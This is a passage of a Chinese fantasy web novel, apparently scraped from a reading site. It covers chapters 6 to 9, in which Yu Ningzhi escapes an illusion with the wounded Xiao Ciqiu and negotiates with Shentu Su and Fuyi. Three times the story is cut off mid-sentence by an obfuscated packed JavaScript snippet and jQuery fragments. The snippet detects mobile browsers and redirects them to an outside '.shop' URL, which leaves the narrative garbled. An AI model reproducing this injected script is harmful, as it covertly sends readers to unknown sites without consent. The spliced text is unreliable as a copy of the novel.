她这么想,也就这么问了:“我们就这么像无头苍蝇似的乱跑,万一遇上那魔族怎么办?况且申屠肃还在原地,他被幻境里的幻象缠住,没了凤凰火,万一遇上魔族袭击——”
没说完,萧辞秋毫不犹豫:“那就让他去死。”
“我们快跑,申屠肃此人非善类,他拿我们做诱饵,根本没想过我们的死活。趁他这会儿不能脱身,咱们快些逃离,马上……”
申屠肃步调踉跄,险些摔倒。
“马上,”他全身发抖,“有人追过来,就会杀了我。他们知道我在哪里,一定不会放过我的。”
萧辞秋说话语无伦次,语气有些不对劲。
他们已经走到了一个偏僻角落,那些忙于救火和逃命的人都不见了。
郁宁止看准时机,从他背上翻身,勾着他的脖子落地,他整个人都被带着摔倒在地。
这一摔,萧辞秋的膝盖好像磕到了,整个人的力气都流泻逸散,也不想着翻身,在地上蜷作团抱着腿,混身发抖。
郁宁止替他拨去脸上的湿发,他双目通红,清亮的眼泪落在她掌心,一片滑腻冰凉。
萧辞秋的脸好烫,郁宁止抚摸着他发热的脸颊,俯身凑近问他:“你哪里不舒服,能听清我说话吗?”
可萧辞秋这会儿已经变得神神叨叨的,嘴里仍在不住碎碎念。
“有一只狗跑了,我就知道,我就知道他们会追过来,不会放过我的。”他不抱腿了,转而想要去抓郁宁止衣角,然而可能是泪眼模糊,他的手碰到了灯,火舌将琉璃灯罩舔得滚烫,让他惊声叫喊。
“疼,好疼,疼疼疼疼疼疼疼……”
郁宁止被他吓了一跳,碍于这里太暗,只能又举起灯去探照他哪处受伤。
只是一不小心,她指尖触碰的那个机关,拨动了一直困锁着凤凰火的锁扣。
一缕微弱却明亮的凤凰火从还没来得及闭合的接缝处钻了出来,没有灵气供养,火在途中越来越弱,几乎不可能造成伤害。
但还是有一颗未熄灭的火星,掉落在萧辞秋身上。
一瞬,火起如燎原。
7. 第 7 章
凤凰火似有灵性,焰光眨眼间遍布全身,却没有将萧辞秋衣衫与肌肤燃烧殆尽。
火在他全身分散又聚集,很快锁定魔气源头,沿着掌心穿刺伤一路攀爬,由表及里,由内而外,将他手心烧得滚烫。
很快,凤凰火消失不见,完全潜入萧辞秋体内。
灵气与魔气在他体内缠斗,痛得萧辞秋无力再喊叫。
这一切发生的太快,郁宁止甚至没有办法找到最近的水源。
萧辞秋一开始还目眦欲裂,很快便眼瞳涣散,脸上皮肉却一直紧绷着,似乎马上就要昏过去。
郁宁止见他紧咬着下,一言不发,丝丝缕缕的血液从唇角溢出。
她担心萧辞秋再这么死命咬下去,会把舌头咬断,只能捏住他两腮薄肉,两指钻入他滚烫唇瓣间,暂时分离他的齿与舌。
不过她这会儿心思不全然在萧辞秋身上,因为她发现一件更有意思的事。
自昏迷醒来后,她眼前一直有重影。
原本以为是没有休息够,神思疲怠所致。
可进入幻境后,这些模糊不清的重影逐渐分成几近透明的气,变幻莫测。
她原本捉摸不透这些气到底是什么,可方才观申屠肃使剑,她才发现这些气与人与物的运行息息相关。
这些气就是灵气与魔气。
郁宁止能看见萧辞秋从伤口迅速扩散至全身的气流运行轨迹。
殷红血液随着萧辞秋张口而淌出,他五脏已然受损,灵气与魔气攻至未开发的识海,搅得天翻地覆。
呼吸艰难,他灼热的鼻息喷洒在郁宁止手背上,接着发出一声模糊不清的痛吟:“疼。”
越说话,血液便越快涌出。
萧辞秋对郁宁止的所作所为并无异议,实际上,这会儿外界施加给他的痛楚都比不过体内剧痛,全身血肉都被脑内震荡带起阵阵痉挛。
又是一声脑内长鸣,他七窍俱是流出汩汩黑血。
那些血液混杂着魔气与灵气,明明已经是体内排出的残余污秽,却仍像是不甘心般翻滚着细密泡沫。
啪嗒,啪嗒……
靡艳红花飞溅。
郁宁止感觉到他几近昏厥,将头上发带扯下,勒紧他口角两侧,两指宽的发带上绣有洁白梨花,很快便被染成一片艳丽
发带将他口腔中的空隙一分为二,无法闭合。
不算光洁平整的绣花磨到萧辞秋舌面伤口,他在钝痛中再度睁开眼,眼泪争先恐后挤了出来,冲淡了血痕。
郁宁止用袖口擦去他脸上痕迹,她听见他喉咙间不断颤动的气音,最终扭曲成一段泣不成声的杂乱喃喃。
“救我。”
对视的瞬间,郁宁止稍有愣神。
那是一双,猩红带血,却倒映着她身影的眼。
全心全意,虽惊惶不定,但仍带着一股近乎虔诚的哀求与渴望。
对生的渴望。
郁宁止从未在任何人眼中看到过这般神色,就好像……
好像她是他唯一的依靠。
或许很遥远,又或许近在咫尺。
总之,郁宁止听见了木头在火中燃烧的声音,噼啪作响。
她觉得萧辞秋该庆幸。
毕竟不是谁都有善听如瞽的本事,也不是谁都够容忍欺瞒。
郁宁止再愚钝,也能在这数月的相处中感受出些不对劲。
她与萧辞秋并非夫妻,甚至有可能连朋友都不是。
萧辞秋想要复仇,却连流畅挥出一整套剑法都不能。
明明受海神社乐人们相助,却打心眼里瞧不起这些出身不如他的人。
就连说谎,都漏洞百出。
揽下恩情还不够,又谎称两人之间有夫妻情谊。
对她带着试探的亲密举动一再推阻,明明定力不佳,却极尽所能克制自己,一来二去,甚至到了夜半溜出门,不与她同榻才能入眠的程度。
郁宁止此前一直想不通,她身上到底有什么值得萧辞秋如此大费周章的宝物,值得他如此强留。
直到挥出那一剑后,她才明白。
从出了巡防营,到两人在湖中寻觅魔踪,从始至终,萧辞秋都没有对她挥出那一剑产生任何疑惑,也没有任何艳羡惊叹。
这种平淡对于一个修习剑术而不得要领的人来说,根本不正常。
这个便宜夫君皮相绝佳,就是脑子不大灵光。
让一个心思不够缜密的人来辛苦维持谎言,真的是为难他了。
直觉告诉郁宁止,如若不是天作孽,他的眼界、学识、武力,都决定了他们根本不可能结为夫妻。
可偏偏就是这么一个狂妄自大、自作聪明的蠢货,在魔族来临时第一个追到她身边,用那只想要执剑斩仇怨的手,替她挡下了致命一击。
穿破皮肉的声音犹在耳边。
郁宁止的指尖划过萧辞秋鼓动发肿胀的腕节青筋,他的脉搏如此明显,剧烈跳动。
接着,她指腹按压在伤口上。
萧辞秋又开始剧烈喘息。
郁宁止以为他该躲开她的手,没想到他努力支起身体,但手圈住她腰腹,整个脑袋钻入她怀里,连呼吸都似乎要穿透衣衫,点燃她身上一片冰凉。
这种毫无防备的模样,让郁宁止心底生出一股爱怜。
“夫君,你放心,我是不会丢下你的。”
不过现在,他们又该怎么逃出去呢?
郁宁止沉吟片刻。
这幻境的入口在湖里,她是从跌入水中后才来到了这里。
湖分两界,天地置换。
那她必须去找那个划分开幻境与现实的临界点。
有临界处,必有气息流动交换,郁宁止凝神,集中注意去观察空气中细微的气流走势。
世界在她眼前定格。
细丝交织飘动,像是落入海中的渔网。
郁宁止将已经半昏迷的萧辞秋扶起,拉过他的手臂架在肩上。
他的手如一条死肉般垂下。
郁宁止却与他十指相扣,轻声道:“别怕。”
似乎有感而动,萧辞秋的手指抽动。
郁宁止唇角微弯,紧扣住萧辞秋的手腕,拖着人跟随眼前指引,摸到了一处荒草丛生的偏僻园子。
从踏进这座冷僻寂静之地开始,异象徒生。
先是头顶高悬的太阳逐渐黯淡,周边刺眼日光突然柔和成一片模糊光晕。
而后一轮血月升起,其色赤红,其形若眼瞳。
日月并行,月盖日辉。
园中杂草疯长,转瞬掩埋了青砖地与朱色宫墙,耳边传来植物咔嚓咔嚓的幽静窜高,没有风声,这种声音便愈发明显。
就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122766|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是有动物在啃食着什么。
风起,雨落。
头顶两颗眼睛似的日月留下泪来。
风为人细心拨开前路,两侧发白的枯草齐整倒向两侧,像是晨起时用梳子拨开发根,将两侧头发归拢齐整。
郁宁止眨眨眼,耳尖微动,顺着气的方向继续走。
它们和园中凭空出现的小径归于一座枯井。
郁宁止向里头丢了颗石子,很快听到回声。
听起来不高,但人从外头往里看,却什么都看不清,黑漆漆的一片无底深渊。
郁宁止左右扭动,活络了下筋骨,看了眼背靠着井的萧辞秋。
她屈膝俯下身,与他额头相抵,发现他额头温度不减。
“这时候不能睡觉啊,夫君。”
郁宁止拍了拍萧辞秋的脸,好半晌,看见他终于睁开眼睛,她才温柔笑了笑,低声再度唤他。
“夫君,我找到出口了,可是这条路好黑啊,你帮我探探路好不好?”
无数个日夜里,她也是这么与他耳边絮语。
萧辞秋本来就不大灵光的脑子此刻彻底断了弦,在郁宁止的协助下,他勉强起身,趴在井口,朝里头看去。
“我不敢……”
话音未落,嘹亮的犬吠声响起。
萧辞秋一惊,只感觉起身时有人在他背后踹了一脚,接着整个人失控朝井里跌去。
预想中的痛感没有来临,郁宁止顺着萧辞秋下坠的地方平稳落地,脚踏上地面时,绵软的地面微微塌陷。
那些缠上来的东西应该是淤泥吧,冰凉一片,湿润沉重,很快就包裹住她的双脚。
郁宁止没有忘记将萧辞秋扶起来。
“夫君怎么这么着急,咱们现在还是谨慎些好。”
“有狗,”萧辞秋被发带所束缚,含糊不清道,“申屠肃养了条细犬,它很快就能闻着味儿找到我们……”
郁宁止轻拍他的脊背,替他捋顺气息。
“别怕,我会保护你,咱们这就出去。”
这句话,就像是给了萧辞秋一颗定心丸。
“出去……”他环顾四周,发现四周一片寂寥,“怎么出去?”
郁宁止思考片刻,道:“可能需要给主人家打个招呼?毕竟我们是误入别人的地界,不请自来又想要悄然离去,主人家可能会生气。”
“你疯了吗?”萧辞秋瞪大眼睛,“你的意思是我们还要大张旗鼓告诉那魔头,速速放我们离开?”
郁宁止摸了摸他的脑袋,否认:“不是和魔打招呼。”
“是这幻境真正的主人。”
这里的光线虽暗,可并不会影响她观察四周的气。
郁宁止发现,这里的魔气都在涌向同一个地方。
井中枯骨。
“啊!”井内的湿凉环境让高热不退的萧辞秋状态好了些,他在入井后自行拆掉发带,这会儿已经有力气大喊大叫了。
“这是什么!死人吗?谁死这儿了!我会不会是下一个……”
郁宁止捂住他的嘴,将聒噪声止住。
“嘘——小声点,狗还在井外。”
这话立刻让萧辞秋偃旗息鼓,呜咽两声,再不敢高声喊叫。
郁宁止叹了口气,推了推这个没眼力见的人。
“挪一挪,你踩到人家的脚了。”
8. 第 8 章
借着琉璃盏的光,萧辞秋低头,隐约见几节散落的白骨,惊得连连后撤两步。
好在这次他没有发出尖叫,郁宁止赞许地拍了拍他的肩膀。
她将散落的枯骨捡拾聚拢,小山似的骨头上堆着一颗头骨。
郁宁止到了幻境内,不知道误附到了谁的身上,身上的穿着打扮颇有古朴之风,上衣下裳,衣裙层叠繁复,她将罩在最外层的短衫脱下,用它覆盖在白骨之上。
“先前不知,为小人蒙骗,取用了郎君衣冠,惊到了郎君在此长眠,是我等之过,特来赔礼道歉。”
郁宁止躬身低头,双臂向前,作礼揖拜。
余光里,原本凝聚于此的气流停滞一瞬。
仅这一瞬的变化,四周由暗变明,隐隐有光自脚下淤泥散出。
巨大的吸力将他们硬拖进泥水里,郁宁止眼疾手快,及时抓到了萧辞秋,两人这才没有被水流冲散。
天旋地转,不知过了多久,久到郁宁止都觉得有些头昏眼花时,她才看见一轮月。
崭新皎洁。
郁宁止浮在水面上,面朝天空,缓缓睁眼,被还未完全平息的水浪推着漂荡。
有人惊呼:“那里有人!快,救人!”
“是郁姑娘吗?”
“好像是,郁姑娘她还活着!”
……
不过萧辞秋好像有点接近鬼门关了。
郁宁止上岸后,连身上的水都没拧,便喊人帮忙救不会水的萧辞秋。
他呛了不少水,仆役在旁按压了许久,都未曾见他醒来,气口只出不进,眼见着是要一脚迈入阴曹地府了。
是以,当船主与近侍来到床头时,正巧碰见郁宁止渡气给萧辞秋。
“这……”近侍红了脸,“有伤风化。”
郁宁止头也没抬,一连吹了许久的气,直到萧辞秋恢复呼吸后,她才松了口气,摸了把发酸的腮帮子,瘫坐在地上。
今夜筋疲力尽,她这会儿已经顾不得仪容仪表,眼前一片昏花,只能看见有几人立在灯火下,与她隔空对望。
郁宁止猜想中间那位应该是他们的头儿,即便已经累到虚脱,还是勉力撑起身体,想要站起来表达感谢。
不愧是财大气粗的富家少爷,她刚刚提起已经空落落的琉璃盏站稳,就有婢子将一件素色披风搭在她肩上。
郁宁止比这些年轻的婢子们高出一截,她们替她裹好披风,系上系带时,还要仰面抬手。
“多谢。”郁宁止对她面前的女子说。
眉似鹤羽,眼尾上扬,垂眼看人时总带一股清风细雨似的温和。
少女脸颊飞红,随即低头垂眸,下巴都要埋进脖子里才罢休。她冲郁宁止微微下蹲,而后才碎步退回队伍中。
郁宁止此时是男子打扮,她在巡防营时被勒令换下当时所穿服制,将衣物交由申屠肃代为保管。
但没了衣服,总不能让她穿着里衣出去,申屠肃便给她找了件祓魔卫的衣服临时换上。
当今朝廷选拔祓魔卫,要求身高不得低于五尺四寸,若是特殊人才则可酌情放宽条件。
祓魔卫的衣服是由专人所制,用特殊丝线绣有符文,水火不侵,刀枪不入,郁宁止觉得此物甚好,如果能卖出价钱更好。
待船主走近些,郁宁止眼睛也恢复了些,看到是熟悉的人,顿时松了口气。
“多谢公子出手相助。”
对方颔首,默不作声。
“算来,这是第二次见面,竟还不知道公子名姓,实在失礼。”
只见眼前人被一群人簇拥着,众人含胸垂首,唯独他的身形舒展,鲛绡织带束在眼间,那颗红色坠子摇摇晃晃,随着他脚步站定而归于平静,只是上头流转的灵气还未停息,依旧源源不断在眉心流转。
明月之辉,光是站在那儿,就让一切黯然失色。
郁宁止不舍得眨眼,她突然想起什么似的,说:“在下郁宁止,与兄长在湖中落水,幸得公子相助,请受在下一拜。”
说着,真的要躬身向前。
却被一扇阻拦。
“弗已。”他并没有看人,却也能稳稳用扇子托扶住她的手臂。
郁宁止趁他微微倾身靠近,遮挡住周围人视线时,抬眼观察他的眼睛。
虽然没有睁眼,可这并没有让他容颜折损半分。
萧辞秋已经是少有的俊俏郎君,而这位的容色更是世间罕有。
“举手之劳,真正该道谢的是我才对。”
他音色琅琅,如环佩相撞,比他今夜所弹奏的琴曲高明不少。
“方才风浪不休,隐有魔气浮现,待湖面稍平静下来,郁姑娘与萧郎君已然消失,我派人在湖中寻找,只见断木,不见你们踪迹。”
“说起来,你们落水后,可曾看见些什么不同寻常的东西?”
郁宁止惊讶:“魔气?”
她面色苍白,发梢还淌着水珠,似乎被吓了一跳。
“这……这我也说不清楚。”
郁宁止不想把事情弄复杂,申屠肃不知道还有多久才能出来,她无心再去管湖中魔,只觉得船头风有点冷,她这会儿想找个地方烤烤火,将头发擦一擦。
她打了个喷嚏,通身一尘不染的贵公子微不可见的往后撤了半步。
郁宁止浑然不觉似的,道:“公子不如问问巡防营的大人,好像有个什么申屠肃,是他指派我和兄长来此。”
“不过他这人奇奇怪怪的,说是会保护我们兄妹平安,这会儿不知道去哪了,公子不如派手下人去巡防营看看。”
她拉下落不明的申屠肃出来,就是不想让弗已再继续追问。
这个弗已打眼一看就非富即贵,此案涉及人命,若是一不小心从她这里流露出些细节,来日申屠肃揪着不放,又是许多麻烦。
左右申屠肃是官,权贵对膏粱,总好过让她这个蚁民在中间左右为难。
刚提及申屠名讳,湖面再起波澜。
不过这次出来的不止是人,还有一条由水卷起组成的龙。
水龙眸光带血,凌空后便锁定方才破幻境而出的申屠肃。
水面逐渐有黑影聚集,祓魔卫也逐次从幻境中脱身,很快便投身战斗。
剑影飞速如风,利刃断水,将水龙围困住。
申屠肃趁机掐诀,踩着手下人的肩膀,借力腾空而起,剑尖凝起一层白霜,远远望去,就像夜空中的星子般闪耀。
他的剑劈在水龙身上,刹那间将水龙的一半身体凝结成冰。
他趁机踩着龙须攀越至龙身,召集同伴:“斩首!”
言简意赅,所有剑不再与之纠缠,集中到龙首处。
十几柄利剑反复挥砍,申屠肃也跳了下来,高举着双手向已经出现裂痕的水龙脖颈砍去。
随着一声令人毛骨悚然的冰裂声响起,这条魔龙的脑袋轰然坠落,灵气与魔气四散。
与郁宁止一开始所掌的那艘破船不同,弗已的船应该是有秘术阵法保驾护航,龙首投入湖中带起的波浪,对它而言仅仅像一颗石子落水泛起的涟漪一般,虽然有迹可循,但实在不值一提。
祓魔卫早已撤退避开。
郁宁止从始至终紧盯着那个降伏水龙的人,原本微冷的心口这会儿热血澎湃,她第一次感受到心跳可以如此之快。
郁宁止几乎被这些剑光迷了眼,平生头一次,她想要握住一柄剑。
只是这会儿,她五指空握,只有风趁机从她手心钻过。
郁宁止有一点失落。
不过还好只有一点。
因为很快,她就在船边发现了两条狗。
一条通身全黑,偏偏眉毛像用金漆点了两点的小狗,一条浑身湿透,刚被人从水里捞起来的落水狗。
郁宁止微笑,道:“弗已公子真是心慈。”
弗已答:“顺手罢了。再说了,郁姑娘不知道的事,他们应该知晓。”
郁宁止但笑不语。
金色豆豆眉小犬的腿很短,它刚上岸就昂首挺胸,肆无忌惮甩了周围人一身水,和主人如出一辙的脾气。
接着,它嗷嗷叫了两声,冲着郁宁止这边狂奔过来。它的腿很短,身体和嘴却很长,靠近目标后,一边用那两只短小的前爪去扒拉郁宁止的小腿,一边又用嘴筒子戳戳她,戳完还回头叫两声,提醒主人过来。
这应该就是萧辞秋在幻境内遇见的那条狗。原以为是威风凛凛、凶神恶煞的瘦长细犬,没想到竟然还不到她膝盖高。
“找到了。”另一只恶犬口吐人言,仆役已经给他拿了擦脸的干净方巾,他搭在头上,扯着一角去擦脸,望向郁宁止时那只露出的眼睛很亮,像是还沉浸在刚才的战斗中,依旧精神振奋。
萧辞秋听见狗叫,这下有了苏醒迹象,他恍惚间大着舌头:“狗……有狗……”
郁宁止见申屠肃站了起来,依旧没有把狗召回的意思,他先对着稍远些的弗已点头致意:“少宫主在呢?”
又将视线扯回到郁宁止和萧辞秋身上,目光在俩人身上逐一看过,才恶趣味的扯着嘴角冲比较清醒的郁宁止打了个招呼。
“两位怎么不打招呼就跑了,叫我家破军好找。”
郁宁止觉得萧辞秋口腔内的伤口一定肿了,为了不让他醒来的第一眼就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122767|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受到惊吓,郁宁止弯下腰,单手把这只名叫破军的小狗提起来抱在怀中。
“有申屠大人在前除魔保民,我等闲杂人士,自然是找个地方躲起来,不给大人添乱才好,不然要是被抓住,成了大人的软肋,让大人分心,这才是罪过啊。”
弗已挥退了想要上前的婢女。
申屠肃浑然不觉得冷,他龇着牙,笑得眉眼弯弯,看不见瞳仁,摊开手问郁宁止:“我的凤凰火呢?你临阵脱逃,怎么把我的火也给带走了。”
郁宁止把狗和灯盏都塞给他,道:“我刚想说这件事呢,凤凰火遇水就灭了。”
她眨眨眼,无辜道:“我可是始终牢记着大人的话,小心护着凤凰火,岂料它入湖时无事,出来时已经熄灭了。”
申屠肃咬牙切齿:“很好,我花了三千两买的一簇火,现在没了,这笔账我要记在你头上。”
郁宁止从未见过这么抠门的男人。
只是论起锱铢必较,郁宁止还是更胜一筹。
她叹了口气,眉尖若蹙,没站稳似的,脚下漂浮,扑倒在萧辞秋身旁,泣涕涟涟。
“大人明鉴!”
“我兄妹二人为了大人舍生忘死,进入幻境后连自保都很难做到,要不是误打误撞跑了出来,还不知如今会身在何处呢。”
“我兄长为了保护我,身负重伤,现在还未醒过来。大人,我们是为你卖命,你可一定要救救他啊。”
申屠肃未答一眼,倒是一旁的弗已似乎看不下去了,他似乎身体不大好,这会儿也有些倦了,咳嗽了几声,气息很沉。
夜更深了。
弗已主动插话道:“三千两的小事罢了,何至于在这里互相推诿,郁姑娘救我一命,我替郁姑娘出钱,还望申屠大人看在无患宫的面子上,将此事揭过。”
“船上有美酒,我正好想从大人手里买些东西,不知大人能否赏脸。”
“无患宫的面子确实很值钱。但萧辞秋我可以留下,此人我要带走。”
申屠肃收敛笑意,提着郁宁止的后领子,将她整个人拉起。
不远处接应他们的船只已经到了。
“真想和少宫主促膝长谈啊,可惜皇命难违,不是金银俗物的事儿,恕难从命,告辞。”
“五千。”
申屠肃拽着郁宁止的胳膊大步往前。
郁宁止用力挣扎,发现他的手好似铁钳一般,怎么拉都拉不动。
“三千。”
郁宁止一边去掰申屠肃的手指,一边纳闷,怎么越报价越少。
下一刻,那个声音继续道:“上品灵石。”
这回,申屠肃的脚步停了。
他回首挑眉,依旧是一副让郁宁止觉得十分欠揍的模样。
“早说是这个价格啊,”申屠肃松开郁宁止,他余光瞥见她揉搓手腕,眼神斜了一瞬,鼻间轻哼。
等郁宁止抬头,他已经往弗已那边走了。
“好说,一切都好说。少宫主想买什么?人命,珍宝,还是想来我们靖命司玩玩?”
狗从他臂弯里跳了下来,径直往郁宁止方向奔去。
申屠肃叫了两声破军,发现没反应,于是耸耸肩,跟着弗已先行一步。
弗已一走,船上就只剩下郁宁止、萧辞秋、破军和祓魔卫一干人等。
祓魔卫三两聚团,守在巡防营与这艘船搭起的桥板处等候闲聊。
郁宁止已经不止一次听见萧辞秋喉间低吟,多是些“冷”、“好痛”、“别丢下我”一类的胡话。
郁宁止也很冷,这艘船很稳当,人在其上,如履平地。她坐在冰冷的船板上,将萧辞秋的头揽在怀里,就这么彼此依靠,相互依偎着取暖。
祓魔卫看似松散,可没有申屠肃在场,他们中无人敢上前搭话。
郁宁止不知道该怎么救萧辞秋,或者说,谁能够救萧辞秋。
至少是现在,郁宁止不想让他死。
如果萧辞秋死了,那她该多无聊。
破军在一旁守候着,郁宁止稍稍想要挪动,便会被它的吠声喝止。
这就像某种游戏的开关,郁宁止动则狗叫,郁宁止不动则狗静。
为了打发时间,熬到申屠肃或者弗已出来,自发现这个规律后,郁宁止就开始不断和破军玩这个游戏,直到萧逢秋又开始往她怀里钻,她料想他这会儿应该是能听到动静,这才作罢。
月色也黯淡了。
郁宁止很困,坐在那儿不住点头,不知过了多久,她觉得自己才合眼一会儿,便有细微的脚步声传过来,由远及近。
很快,一双黑色的靴子停在她视线前沿。
9. 第 9 章
一点凉意忽然贴在郁宁止额心。
申屠肃只手捏着折扇,用扇子点着他额头,不容拒绝地将她脑袋支起。
扇骨温凉细腻,郁宁止猝然惊醒,顺着那柄扇子向前,见握着扇骨的那只手修长有力,骨节若玉。
再继续看,他身后暖黄灯火将他四周晕开一层光,原本略显张扬桀骜的脸,竟也在这柔和的阴影里显得和善可亲起来。
“啧啧啧,可怜见的。”他的嘴微微扁起,眉压着眼,却藏不住戏谑和好奇。
“本来我都准备带你们回毓新了,却有人愿意出高价还你和你兄长的自由。你说你的运气到底是好还是坏?”
申屠肃已然更换衣物,周身却还带着一股冷冰冰的水汽。
郁宁止不觉得自己运气有多好,但她看见申屠肃这般高高在上的模样就不爽,于是她微微一笑,两指拂开那柄扇子,温声说道:“运气谈不上,非要论也该称之为善恶有报,今日蒙幸避祸,大概算是我的善缘吧。”
“伶牙俐齿。”
“大人谬赞。”
“希望你能一直这么笑出来,好心提醒你,无患宫的人可远不如我好相与。”申屠肃悠哉站直,仍旧是那副万年不变的笑颜。
本以为他该就此离去了,郁宁止出声提醒道:“大人还有什么要吩咐的吗?”
不料申屠肃突然没头没尾的说了句恭喜。
郁宁止不解其意,歪头看他。
“恭喜你遇上我这么个善人,无患宫的少宫主出手阔绰,可他能开出的价格并不足以打动我。所以,你可以带着你兄长随我离开了。”
申屠肃突然递出一只手,挑眉示意她可以拉着自己起来。
这会儿郁宁止的腿脚已经没了知觉,但她并没有将手搭过去。
她其实很想知道为何申屠肃要多此一举,可这个问题已经过去了,于现在的她来说无足轻重,她用手指探了探怀中人的颈脉,不需要过多思考,她脱口而出:“大人能救他吧。”
“兴许吧。”申屠肃的手落了回去。
郁宁止发现申屠肃很喜欢用模棱两可的话来糊弄人。
故意戏弄他人,似乎是他逗乐的偏好。
郁宁止不肯再听他敷衍,偏要一个肯定的答复。
“你能救他,对吧。”
萧辞秋此番被魔气所伤,寻常医师对此束手无策,他又是个凡人,若无外力相助很快就会死。
虽然还不知道申屠肃到底打的什么主意,非要抓住她不放,但好在他有所图。
有所图,郁宁止就能趁此机会提出要求。
她凝视着申屠肃的脸,想要将他所有未曾掩饰的、一闪而过的神情全部捕捉。
申屠肃的唇角弧度不变,可俯视着她时,眼底并无欣喜。
“你以为你有资格对我谈条件?恕我直言,令亲对我毫无价值,而你也并没有值得人侧目而视的本事。若你误以为我是为了你那一剑展露而出的本事,那就大错特错了,且不说这仅是你与萧辞秋的说辞,假使你真是万里挑一,可天下有才之人何其多,并不是每个人都有机会崭露头角,昙花一现罢了,真错过了也不可惜。”
郁宁止静静等他说完,她没有反驳,更没有因他这些略显刻薄的话而备受打击。甚至,她那双如画中云烟般写意的长眉依旧舒展,未曾拧起分毫不安褶皱。
“你的剑缺刃了。”
仅一句话,算是对他长篇大论的反抗。
闻言,申屠肃的手已然摸到腰侧佩剑。
紧接着,他抽剑横对郁宁止,锋利双刃比此处任何的光都要耀眼,一种冷寂而森然的静随着剑身扩散,仿佛这剑的杀气已经到了出鞘就能冻结四周的境界。
原本还闲散看戏的祓魔卫都把目光聚集于此地,连风都静了。
这柄剑确实是难得一见的宝剑,郁宁止也被它剑身寒气压得身子向后微倾,不过也不妨碍她欣赏这柄剑。
雪刃横斜,就在她颈间,申屠肃的目光紧紧相逼,没了笑意。
“找找你说的缺刃之处,或者,找找你脑袋的位置。”
刀剑缺刃,无非是两种原因。
一是刀剑本身之故,二是用者无能。
申屠肃这般目无下尘,桀骜难训,定然不能接受郁宁止这种挑衅。
偏偏,郁宁止全无戏弄之意,她仔细端详了一番剑身,发现上面的灵气浓郁,几乎凝霜,凭借肉眼观察,无法判断那点缺口在哪。
她屈指向前,敲了敲剑身。
极轻极细微的鸣声传开,郁宁止感觉耳朵微微发痒,而后便用指腹捏住剑刃一处。
原本完美无缺的剑,在她指腹轻轻揉搓中显露出异样。
郁宁止指尖抵着痕迹,好让申屠肃看得更直观些:“这里。”
得意于敏锐的听力,郁宁止不用探,就知道申屠肃此刻呼吸接近停滞。
他的双目微微睁大,瞳孔在看到那难以捕捉的缺口处时骤然紧缩。剑上因郁宁止所起的鸣音早已停止,可他就是觉得没有停歇,从执剑的掌心沿着腕臂经脉,又一路传输到心口。
申屠肃觉得心口发麻。
这柄剑是他几多费心才得来的,来之不易,鲜少离身,是准备传家的宝物,他面沉如水,唇紧抿着,将原本丰满的唇珠拉长,抿成平滑的线。
虽然很不想承认,但申屠肃知道,以他的实力,并不能完全驾驭这把剑。
灵剑损耗后并不能像寻常凡品那般简单淬火打磨,修复步骤繁琐,所费良多,但若就此放任不管,很有可能在接下来的战斗里产生不可逆的损伤。
“申屠大人,”郁宁止唤回申屠肃的神智,“兴许你该静下来,看一看这些微不足道的缺口。”
兴许哪天就成了致命伤。
因为申屠肃的脸色已经够难看的了,所以后面句话郁宁止没说出口。
利落将剑收归原位,申屠肃快步向前,对让开道路的祓魔卫道:“把萧辞秋抬上船,靠岸后立刻找此次的随行医师,让他尽快救治,不得延误。”
只是他走到桥板处,忽然回头,郁宁止以为他又要说废话,结果他只是喊着:“破军,破军!”
破军无动于衷。
申屠肃的脸色越发阴沉,他原本锋利流畅的颌骨线条收紧,两腮肌肉微微鼓动,就在众人以为他今夜必然发怒时,他又像是泄气了般,认命喊道:“宝宝。”
尽管声量不如刚才响亮,但是听到他喊自己的名字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122768|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,原本没有反应的破军立刻起身,欢快应了一声。
“走了。”申屠肃说,转身时却把余光里最后一瞥投掷到了那个正在艰难唤醒自己小腿的人身上。
郁宁止正在龇牙咧嘴中试图唤醒麻木沉睡的肌肉。
破军摇着尾巴就往主人那里奔去。
有了申屠肃放话,郁宁止在天将明时终于盼来了个医师。
从梦中被叫醒的医师仔细看了看萧辞秋的伤口,又搭了脉,原本困倦的双眼逐渐睁大。
医师用洁净白帕抹了抹额上细汗,环顾屋内,最终看了一眼申屠肃。
这人方才跟着一起近来时还是端正站着的,这会儿已经斜靠着床边立柱,眼帘微垂,半睁着不知具体是看向哪处。
郁宁止一直在安抚萧辞秋,她的手被萧辞秋紧握着,就连方才一路回到岸上,都无人能将他的手强行掰开,郁宁止未曾有一句怨言,一直在旁仔细听着他的胡言乱语,偶尔还会回握轻拍他的掌背,好让他偶尔从梦魇中睁眼时,也能稍稍安心。
